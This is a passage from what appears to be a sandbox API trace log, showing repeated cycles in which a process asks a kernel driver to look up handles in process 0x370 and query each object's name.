Flags=0x0, Size=0x808) returned 0x280b20 [0121.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0121.954] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.954] PsAcquireProcessExitSynchronization () returned 0x0 [0121.954] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.954] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032d1680, HandleInformation=0x0) returned 0x0 [0121.954] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.954] PsReleaseProcessExitSynchronization () returned 0x2 [0121.954] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.954] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.954] ObfDereferenceObject (Object=0xfffffa80032d1680) returned 0x1 [0121.954] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.954] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.954] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0121.954] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.954] PsAcquireProcessExitSynchronization () returned 0x0 [0121.954] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.954] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00103b620, HandleInformation=0x0) returned 0x0 [0121.954] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.954] PsReleaseProcessExitSynchronization () returned 0x2 [0121.954] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.955] ObQueryNameString (in: Object=0xfffff8a00103b620, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.955] ObfDereferenceObject (Object=0xfffff8a00103b620) returned 0x2 [0121.955] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.955] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.955] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.955] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0121.955] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.955] PsAcquireProcessExitSynchronization () returned 0x0 [0121.955] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.955] ObReferenceObjectByHandle (in: Handle=0x50c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0121.955] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.955] PsReleaseProcessExitSynchronization () returned 0x2 [0121.955] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.955] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.955] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0121.955] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.955] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.955] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.955] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0121.955] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.955] PsAcquireProcessExitSynchronization () returned 0x0 [0121.955] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.955] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0121.955] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.955] PsReleaseProcessExitSynchronization () returned 0x2 [0121.955] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.955] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.955] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0121.955] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.955] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.956] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0121.956] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.956] PsAcquireProcessExitSynchronization () returned 0x0 [0121.956] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.956] ObReferenceObjectByHandle (in: Handle=0x518, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089ce580, HandleInformation=0x0) returned 0x0 [0121.956] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.956] PsReleaseProcessExitSynchronization () returned 0x2 [0121.956] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.956] ObQueryNameString (in: Object=0xfffff8a0089ce580, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.956] ObfDereferenceObject (Object=0xfffff8a0089ce580) returned 0x2 [0121.956] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.956] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.956] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0121.956] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.956] PsAcquireProcessExitSynchronization () returned 0x0 [0121.956] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.956] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003414070, HandleInformation=0x0) returned 0x0 [0121.956] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.956] PsReleaseProcessExitSynchronization () returned 0x2 [0121.956] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.956] ObQueryNameString (in: Object=0xfffffa8003414070, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.956] ObfDereferenceObject (Object=0xfffffa8003414070) returned 0x3 [0121.956] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.956] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.956] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0121.956] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.956] PsAcquireProcessExitSynchronization () returned 0x0 [0121.956] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.957] ObReferenceObjectByHandle (in: Handle=0x698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003437350, HandleInformation=0x0) returned 0x0 [0121.957] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.957] PsReleaseProcessExitSynchronization () returned 0x2 [0121.957] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.957] ObQueryNameString (in: Object=0xfffffa8003437350, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.957] ObfDereferenceObject (Object=0xfffffa8003437350) returned 0x1 [0121.957] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.957] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.957] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0121.957] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.957] PsAcquireProcessExitSynchronization () returned 0x0 [0121.957] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.957] ObReferenceObjectByHandle (in: Handle=0x6a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f7dad0, HandleInformation=0x0) returned 0x0 [0121.957] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.957] PsReleaseProcessExitSynchronization () returned 0x2 [0121.957] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.957] ObQueryNameString (in: Object=0xfffffa8002f7dad0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.957] ObfDereferenceObject (Object=0xfffffa8002f7dad0) returned 0x2 [0121.957] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.957] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.957] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0121.957] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.957] PsAcquireProcessExitSynchronization () returned 0x0 [0121.957] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.957] ObReferenceObjectByHandle (in: Handle=0x710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003436c70, HandleInformation=0x0) returned 0x0 [0121.957] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.957] PsReleaseProcessExitSynchronization () returned 0x2 [0121.958] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.958] ObQueryNameString (in: Object=0xfffffa8003436c70, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.958] ObfDereferenceObject (Object=0xfffffa8003436c70) returned 0x1 [0121.958] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.958] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.958] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0121.958] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.958] PsAcquireProcessExitSynchronization () returned 0x0 [0121.958] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.958] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003436f20, HandleInformation=0x0) returned 0x0 [0121.958] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.958] PsReleaseProcessExitSynchronization () returned 0x2 [0121.958] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.958] ObQueryNameString (in: Object=0xfffffa8003436f20, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.958] ObfDereferenceObject (Object=0xfffffa8003436f20) returned 0x1 [0121.958] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.958] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.958] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0121.958] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.958] PsAcquireProcessExitSynchronization () returned 0x0 [0121.958] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.958] ObReferenceObjectByHandle (in: Handle=0x71c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003437510, HandleInformation=0x0) returned 0x0 [0121.958] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.958] PsReleaseProcessExitSynchronization () returned 0x2 [0121.958] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.958] ObQueryNameString (in: Object=0xfffffa8003437510, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.958] ObfDereferenceObject (Object=0xfffffa8003437510) returned 0x1 [0121.958] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.959] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.959] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0121.959] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.959] PsAcquireProcessExitSynchronization () returned 0x0 [0121.959] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.959] ObReferenceObjectByHandle (in: Handle=0x798, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037852a0, HandleInformation=0x0) returned 0x0 [0121.959] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.959] PsReleaseProcessExitSynchronization () returned 0x2 [0121.959] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.959] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.959] ObfDereferenceObject (Object=0xfffffa80037852a0) returned 0x1 [0121.959] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.959] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.959] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.959] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.959] PsAcquireProcessExitSynchronization () returned 0x0 [0121.959] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.959] ObReferenceObjectByHandle (in: Handle=0x7a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800343b9c0, HandleInformation=0x0) returned 0x0 [0121.959] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.959] PsReleaseProcessExitSynchronization () returned 0x2 [0121.959] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.959] ObQueryNameString (in: Object=0xfffffa800343b9c0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.959] ObfDereferenceObject (Object=0xfffffa800343b9c0) returned 0x1 [0121.959] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.959] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.959] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0121.959] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.959] PsAcquireProcessExitSynchronization () returned 0x0 [0121.959] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.959] ObReferenceObjectByHandle (in: Handle=0x904, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003447950, HandleInformation=0x0) returned 0x0 [0121.960] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.960] PsReleaseProcessExitSynchronization () returned 0x2 [0121.960] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.960] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.960] ObfDereferenceObject (Object=0xfffffa8003447950) returned 0x12 [0121.960] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.960] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.960] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0121.960] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.960] PsAcquireProcessExitSynchronization () returned 0x0 [0121.960] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.960] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800344bbc0, HandleInformation=0x0) returned 0x0 [0121.960] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.960] PsReleaseProcessExitSynchronization () returned 0x2 [0121.960] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.960] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.960] ObfDereferenceObject (Object=0xfffffa800344bbc0) returned 0x12 [0121.960] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.960] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.960] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0121.960] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.960] PsAcquireProcessExitSynchronization () returned 0x0 [0121.960] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.960] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800344b740, HandleInformation=0x0) returned 0x0 [0121.960] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.960] 